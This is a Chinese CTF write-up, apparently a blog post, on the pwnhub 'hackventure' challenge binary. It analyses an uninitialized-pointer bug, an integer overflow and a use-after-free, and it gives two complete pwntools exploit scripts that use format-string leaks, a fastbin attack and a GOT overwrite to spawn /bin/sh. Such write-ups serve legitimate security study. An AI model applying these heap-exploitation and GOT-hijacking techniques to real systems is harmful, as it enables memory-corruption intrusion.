每周一胖 pwnhub之hackventure

漏洞類型:未定義指針引用、整數(shù)溢出、UAF
利用方法:控制未定義指針、UAF

程序入口:

root@kali ~/桌面# ./hackventure 
************************************************
* Welcome to Hackventure (Hack3r's Adventure). *
************************************************
$ list
list - list all commands
help - show usage of a command
map - show map
status - show player's status
go - make movement
explore - explore current location
goodnight - sleep at home until the morning of next day (HP refilled)
local_attack - attack the server at current location (-20 HP)
remote_attack - attack remote server from your bot at current location (-30 HP)
remote_attacks - attack remote servers from your bot at current location (-30 HP)
deploy - deploy something on your bot
proxy - set a parent proxy
buy - buy products from the store
$ 

在本題中,主要存在三個問題:
問題一 未定義指針引用,看一下local_attack中的實現(xiàn)代碼

printf("You can specify a new name for the owned server.\nName length? ");
v3 = 63LL;
readn_without_null((__int64)&buffer, 63);
length = atoi(&buffer);               
if ( Server->nickname && (v4 = strlen((const char *)Server->nickname), v4 >= length)  || (v3 = length + 1, (v8 = realloc(0LL, v3)) != 0LL))
{
    if ( Server->nickname )
    {
      v5 = strlen((const char *)Server->nickname);
      if ( v5 > (unsigned __int64)length )
        v8 = Server->nickname;
    }
    printf("Name? ", v3);
    length = readn_without_null((__int64)v8, length);
    Server->nickname = v8;
    v2 = (char *)Server->nickname + length;
    *v2 = 0;
}

在成功控制一臺服務(wù)器后,可以給這臺機器命名,名稱的長度任意且可控。但是在這兒的邏輯當中,如果在第一次控制時填入了長度為16的字符串,那么當再次控制時,再次使得輸入長度等于16,將會導致v8是一個未定義指針。不難理解,如果可以控制棧上的內(nèi)容的話,就可以實現(xiàn)任意內(nèi)存寫。在同級函數(shù)中,deploy函數(shù)可以在棧上填充的空間比較大

int __fastcall deploy(__int64 a1, __int64 a2)
{
  const char *v2; // rbx@3
  int v3; // eax@3
  int result; // eax@3
  __int64 v5; // [sp+0h] [bp-60h]@1
  char nptr; // [sp+10h] [bp-50h]@1

  printf("How many do you want to deploy? ", a2);
  readn_without_null((__int64)&nptr, 63);
  ...
}

但是實際測試時發(fā)現(xiàn),如果分兩次調(diào)用deploy和local_attack將會導致先前填充的棧被清空,實際上,這是因為觸發(fā)了strtok操作導致棧內(nèi)容發(fā)生改變

__int64 __fastcall parse_command(char *a1, __int64 a2)
{
  unsigned int v3; // [sp+14h] [bp-Ch]@1
  char *v4; // [sp+18h] [bp-8h]@1

  v4 = strtok(a1, " ");
  v3 = 0;
  while ( v4 )
  {
    *(_QWORD *)(a2 + 8LL * v3++) = v4;
    if ( v3 > 0xF )
      return v3;
    v4 = strtok(0LL, " ");
  }
  return v3;
}

那么有沒有可能一次性輸入兩條命令,繼續(xù)看主循環(huán)函數(shù)代碼

    for ( i = 0; i <= 12; ++i )  //12次循環(huán)
    {
      if ( !strcasecmp(*v5, *(const char **)&commands[10 * i + 60]) )
      {
        if ( commands[10 * i + 62] == v4 )
        {
          (*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(v4, v5);
          v4 = 0;
        }
        else if ( commands[10 * i + 62] >= v4 )
        {
          puts("wrong arguments");
          printf("%s - %s\n    usage: %s\n", *v5, *(_QWORD *)&commands[10 * i + 66], *(_QWORD *)&commands[10 * i + 68]);
          v4 = 0;
        }
        else
        {
          (*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(commands[10 * i + 62], v5);  //執(zhí)行命令
          v4 -= commands[10 * i + 62];
          v5 += commands[10 * i + 62]; //v5指針后移,實際上,這里加的是參數(shù)個數(shù)
        }
        break;
      }
    }

因此,本題的最終思路為控制血量最少(因為打起來最輕松)的服務(wù)器,并輸入固定長度(長度根據(jù)需要確定)的名稱,然后再去買點商店買點東西,接著回到服務(wù)器所在的位置并先打成殘血,最后在一行命令里面執(zhí)行deploy和local_attack來實現(xiàn)任意內(nèi)存寫。這里選擇將atoi修改printf,接下來就可以用格式化字符串實現(xiàn)地址泄露,并在泄露完成后將atoi修改成system函數(shù),以下是完整的利用代碼

from pwn import *

slog = 0
if slog: context.log_level = True

p = process('./hackventure')

curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)


def init_position():
    global curpos
    global servers
    global home
    global store
    p.recvuntil('$')
    p.sendline('map')
    p.recvuntil('+--------------------------------+')
    
    for y in range(16):
        #print y
        aline = p.recvline()[1:-2]
        #print aline
        if aline.find('*') != -1:
            curpos = (aline.find('*'), y)
        if aline.find('S') != -1:
            servers.append((aline.find('S'), y))
        if aline.find('H') != -1:
            home = (aline.find('H'), y)
        if aline.find('T') != -1:
            store = (aline.find('T'), y)    
        
    #print curpos, servers, home, store

def go(position):
    global curpos
    relativeX = position[0] - curpos[0]
    relativeY = position[1] - curpos[1]
    command = ''
    if relativeX < 0:
        command += abs(relativeX) * 'go LEFT\n'
    else:
        command += abs(relativeX) * 'go RIGHT\n'

    if relativeY < 0:
        command += abs(relativeY) * 'go UP\n'
    else:
        command += abs(relativeY) * 'go DOWN\n'
    p.recvuntil('$')
    p.sendline(command)
    curpos = position
    #print curpos, servers, home, store

def explore():
    global servers
    global target
    for i in range(len(servers)):
        go(servers[i])
        p.recvuntil('$')
        p.sendline('explore')
        p.recvline()
        data = p.recvuntil('Status')
        if 'HP: 100' in data:
            target = servers[i]
            break

def local_attack(name = 'aaaa'):
    p.recvuntil('$')
    p.sendline('local_attack')
    p.recvuntil('$')
    p.sendline('local_attack')
    p.recvuntil('length?')
    p.sendline(str(len(name)+1))
    p.recvuntil('Name?')
    p.sendline(name)    
    
def sleep():
    p.recvuntil('$')
    p.sendline('goodnight')     
    p.recvuntil('$')
    p.sendline('goodnight')     

def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('buy {0} {1}'.format(str(count), goods_name))

def deploy(count = 1, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('deploy ExploitKit')
    p.recvuntil('want to deploy?')
    p.sendline(str(count))

init_position()
explore()
go(target)
local_attack('a'*8)

go(home)
sleep()
go(target)

p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('$')
p.sendline('deploy ExploitKit local_attack')
p.recvuntil('want to deploy?')

pwnfile = ELF('hackventure')
p.sendline('a' * 32 + p64(pwnfile.got['atoi']))
p.recvuntil('length?')
p.sendline('8')
p.recvuntil('Name?')
p.sendline(p64(pwnfile.plt['printf']))  

def call_printf(format_str):
    p.recvuntil('$')
    p.sendline('deploy haha')
    p.recvuntil('want to deploy?')
    p.sendline(format_str)
    
call_printf("aabb%9$s".ljust(8, 'a') + p64(pwnfile.got['printf']))
p.recvuntil('aabb')
printf_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'printf addr is ', hex(printf_addr)

libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
system_addr = libc.symbols['system'] - libc.symbols['printf'] + printf_addr
print 'system_addr is',hex(system_addr)

def generate_format(addr, value):
    payload = ''
    print_count = 0
    addr_part = ''
    for i in range(3):
        two_byte = (value >> (16*i)) & 0xffff
        payload += '%{0}c%{1}$hn'.format((two_byte - print_count) % 0x10000, 13 + i)
        print_count += (two_byte - print_count) % 0x10000
        addr_part += p64(addr + i*2)

    payload = payload.ljust(0x28, 'a')
    payload += addr_part
    return payload
#gdb.attach(p, open('debug'))
call_printf(generate_format(pwnfile.got['atoi'], system_addr))
p.sendline('deploy haha')
p.sendline("/bin/sh")
p.sendline('echo aabb')
p.recvuntil('aabb')

p.interactive()

問題二 整數(shù)溢出
整數(shù)溢出漏洞出現(xiàn)在buy功能中,先看下面的代碼

int __fastcall buy(__int64 a1, __int64 a2)
{
  result = map_0[4 * (32LL * y + x)];
  if ( result == 3 )
  {
    for ( i = 0; i <= 3; ++i )
    {
      result = strcasecmp(*(const char **)(a2 + 16), goods_name[5 * i]);
      if ( !result )
      {
        count = atoi(*(const char **)(a2 + 8));
        cost = count * LODWORD(goods_name[5 * i + 3]);// 存在整數(shù)溢出
        if ( money < cost )
        {
          result = puts("Go away, poor man.");
        }
        else
        {
          money -= cost;

count沒有范圍限制,那么在輸入一個很大的count值之后cost將會變成負數(shù)(這是最先發(fā)現(xiàn)的問題,然而作用不大)

問題三 UAF
這個漏洞(據(jù)說這個漏洞出題人自己也沒有意識到,不得不佩服大佬們發(fā)現(xiàn)問題的能力,其次,就算是專業(yè)搞安全的人,也不見得寫出來的代碼就是安全的,因此,只要是人寫的代碼,就會有漏洞)出現(xiàn)在deploy功能中

(&hacker)[2 * (j + 2LL)][1] -= a1;
puts("Success.");
LODWORD(v3) = (&hacker)[2 * (j + 2LL)][1];
if ( !(_DWORD)v3 )
    LODWORD(v3) = (unsigned __int64)realloc((&hacker)[2 * (j + 2LL)], 0LL);// 等同于free

不難發(fā)現(xiàn),這里在進行了free操作后并沒有將指針置空,那就意味著可以無限次的進行free操作,對應(yīng)商品的結(jié)構(gòu)如下

struct Item
{
  _int32 count;
  _int32 type;   //共4種類型
}

我們可以按下面的方式構(gòu)造堆塊

----------------------- Item1
count(1)+type(1)
----------------------- Item2
count(1)+type(2)
----------------------- Item3
count(1)+type(3)
----------------------- Other block(防止堆塊合并)

Item是使用金幣購買的三種產(chǎn)品。題目默認給定的金幣數(shù)量是100,因為后面需要多次購買,所以可以考慮使用整數(shù)溢出漏洞增加金幣或者反復打HP100的服務(wù)器來掙錢。接下來考慮這樣一種情況:依次free掉Item1、Item2、Item3,然后觸發(fā)local_attack分配內(nèi)存name,此時name將指向Item3,可以將name的內(nèi)容構(gòu)造成count(1)+type(3),就可以觸發(fā)deploy中的free操作,此時Item3已經(jīng)成了fastbin鏈的頭結(jié)點,因此,其fd指針將保存的是Item2的地址,也就是堆地址,這個時候只要調(diào)用一下explore功能就可以打印出堆地址。


泄露堆地址

到這里,利用似乎陷入了僵局,因為我們沒有辦法控制Item1、Item2、Item3的堆結(jié)構(gòu)。事實上,可以通過分配一塊較大的內(nèi)存來觸發(fā)fastbin合并(當然,這里應(yīng)該還可以通過其他方法來控制內(nèi)存,這里先不討論)


fastbin合并

這一步實際上解決了兩個問題:泄露libc地址、將三個fastbin合并成一個大的堆塊?,F(xiàn)在,我們已經(jīng)可以通過申請大小為0x50的內(nèi)存的方式來控制Item2、Item3的完整堆結(jié)構(gòu)了,后面可以按照下述思路拿shell:一、通過fastbin attack在main_arena上寫入0x80用作堆頭 二、再次通過fastbin attack控制main_arena的top指針(指向got表) 三、申請一塊內(nèi)存(大小為0x70)即可獲得指向got的指針,此時可將修改aoti函數(shù)修改為system。在看writeup的時候,還提到了另外一種思路:通過修改stdout指針的方式去控制printf,有興趣的同學可以試試。下面是完整的利用代碼:
from pwn import *

slog = 0
debug = 1
if slog: context.log_level = True

p = process('./hackventure')

curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)


def init_position():
    global curpos
    global servers
    global home
    global store
    p.recvuntil('$')
    p.sendline('map')
    p.recvuntil('+--------------------------------+')
    
    for y in range(16):
        aline = p.recvline()[1:-2]
        if aline.find('*') != -1:
            curpos = (aline.find('*'), y)
        while aline.find('S') != -1:
            posX = aline.find('S')
            servers.append((posX, y))
            aline = aline[:posX] + 'x' + aline[posX+1:]
        if aline.find('H') != -1:
            home = (aline.find('H'), y)
        if aline.find('T') != -1:
            store = (aline.find('T'), y)    
        
    #print curpos, servers, home, store

def go(position):
    global curpos
    relativeX = position[0] - curpos[0]
    relativeY = position[1] - curpos[1]
    command = ''
    if relativeX < 0:
        command += abs(relativeX) * 'go LEFT\n'
    else:
        command += abs(relativeX) * 'go RIGHT\n'

    if relativeY < 0:
        command += abs(relativeY) * 'go UP\n'
    else:
        command += abs(relativeY) * 'go DOWN\n'
    p.recvuntil('$')
    p.sendline(command)
    curpos = position
    #print curpos, servers, home, store

def explore_all():
    global servers
    global target
    global target2
    for i in range(len(servers)):
        go(servers[i])
        p.recvuntil('$')
        p.sendline('explore')
        p.recvuntil('IP: ')
        aline = p.recvline()
        servers[i] = (servers[i], aline[:-1])
        data = p.recvuntil('Status')
        if 'HP: 100' in data:
            target = servers[i][0]
        if 'HP: 200' in data:
            target2 = servers[i]

def local_attack(times = 2, success = True, name = 'aaaa', length = -1):
    for i in range(times):
        p.recvuntil('$')
        p.sendline('local_attack')
    if success:
        p.recvuntil('length?')
        if length != -1:
            p.sendline(str(length))
        else:
            p.sendline(str(len(name)+1))
        p.recvuntil('Name?')
        p.sendline(name)    

def remote_attack(server, ip):
    p.recvuntil('$')
    p.sendline('remote_attack ' + ip)
        
def rest():
    p.recvuntil('$')
    p.sendline('goodnight')     
    p.recvuntil('$')
    p.sendline('goodnight')     

def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('buy {0} {1}'.format(str(count), goods_name))

def deploy(count = 1, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('deploy ' + goods_name)
    p.recvuntil('want to deploy?')
    p.sendline(str(count))

def explore():
    p.recvuntil('$')
    p.sendline('explore')


init_position()
explore_all()
goods_name = ['ExploitKit', 'SafeLine', 'D-Sensor', 'Proxy']
godds_price = {'ExploitKit': 200, 'SafeLine': 100, 'D-Sensor':50}
go(store)
special_count = (1 << 64) / 200 - 200

#make money
buy(special_count, 'ExploitKit')
buy(1, goods_name[1])
buy(1, goods_name[2])
buy(1, goods_name[3])
go(target)
local_attack()

for i in range(2):
    deploy(1, goods_name[1])
    deploy(1, goods_name[2])
    deploy(1, goods_name[3])

remote_attack(target, target2[1])
go(home)
rest()
go(target2[0])
local_attack(3, True, p32(2) + p32(1))
buy(1, goods_name[2])
for i in range(5):
    deploy(1, goods_name[2])

#leak heap addr
deploy(1, goods_name[1])
#deploy((special_count & 0xffffffff), goods_name[0])
explore()
p.recvuntil('Name: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'heap_addr is', hex(heap_addr)


def rename(_name = 'aaaa', _length = -1):
    go(home)
    rest()
    rest()
    go(target)
    local_attack(name = _name, length = _length)

#leak libc addr and trigger malloc_consolidate
rename(p64(0x70) + p64(0x21) + p64(0x80) + p64(0x21), 0x20000)
go(target2[0])
if debug: gdb.attach(p, open('debug'))
explore()

p.recvuntil('Name: ')
leak_libc_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'leak libc addr is', hex(leak_libc_addr)

libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
libc_base = leak_libc_addr - 0x398b00 - 0x18

rename(p32(1) + p32(1) + p64(0)*2 + p64(0x71) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])

#create fake heap in main_arena
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x71) + p64(0x80), 0x50)
rename('aaaa', 0x60)

deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p64(leak_libc_addr + 0x10), 0x50)
rename('aaaaaa', 0x70)

#alert main_arena->top to GOT table
rename(p64(0)*4 + p64(0x604080), 0x70)

#alert GOT of atoi to system
system_addr  = libc_base + libc.symbols['system']
rename(p64(0x400916) + p64(system_addr), 0xa0)
p.recvuntil('$ ')
p.sendline('deploy hackit')
p.recvuntil('want to deploy?')
p.sendline('/bin/sh')
p.interactive()

參考資料:
https://pwnhub.cn/media/writeup/112/5979cf77-0a4a-4095-bd6f-2eebc88a34f8_e5804144.pdf
https://pwnhub.cn/media/writeup/115/00e617c5-c794-456d-a656-3b8277a578bb_8282c1d1.pdf

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 179,062評論 25 709
  • 前言 把《C++ Primer》[https://book.douban.com/subject/25708312...
    尤汐Yogy閱讀 9,679評論 1 51
  • 記得小時候父母總跟我們說你要努力,長大以后就會怎么樣,然后我們一個一個的長成了乖寶寶 。畢業(yè)以后參加工作了同事總跟...
    芷榮說閱讀 297評論 1 1
  • 明時,僧人垂髻,患脅痛病,一個多月不能飲食。有人說:「你常勸人念觀音可以救苦,現(xiàn)在怎麼不自念呢?」垂髻在迷糊中,聞...
    指尖蝶舞的花園閱讀 1,049評論 0 1
  • 以前,總以為自己和別人不同,雖然有時會落后,但都能通過努力迎頭趕上,最終擁有比常人不一樣的精彩生活?,F(xiàn)在,確實務(wù)實...
    之之花閱讀 208評論 0 0

友情鏈接更多精彩內(nèi)容